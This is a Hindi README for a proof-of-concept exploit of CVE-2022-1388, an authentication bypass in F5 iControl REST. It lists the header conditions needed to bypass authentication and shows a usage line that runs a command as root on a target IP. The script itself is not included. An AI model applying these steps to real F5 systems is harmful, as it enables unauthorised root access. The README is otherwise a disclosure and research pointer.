CVE-2022-1388

CVE-2022-1388 के लिए POC जो कई F5 उत्पादों को प्रभावित करता है।

नवीनतम सुरक्षा अनुसंधान के लिए Twitter पर Horizon3.ai Attack Team को फॉलो करें:

• Horizon3 Attack Team
• James Horseman
• Zach Hanley

तकनीकी विश्लेषण

इस कमजोरी का तकनीकी मूल कारण विश्लेषण हमारे ब्लॉग पर पाया जा सकता है: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/

सारांश

इस कमजोरी का शोषण करने के लिए एक अनुरोध की आवश्यक शर्तें:

1. Connection header में X-F5-Auth-Token शामिल होना चाहिए
2. X-F5-Auth-Token header मौजूद होना चाहिए
3. Host header localhost / 127.0.0.1 होना चाहिए या Connection header में X-Forwarded-Host शामिल होना चाहिए
4. Auth header admin उपयोगकर्ता नाम और किसी भी पासवर्ड के साथ सेट होना चाहिए

उपयोग

root@kali:/home/dev# python3 CVE-2022-1388.py -t 192.168.0.221 -c id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0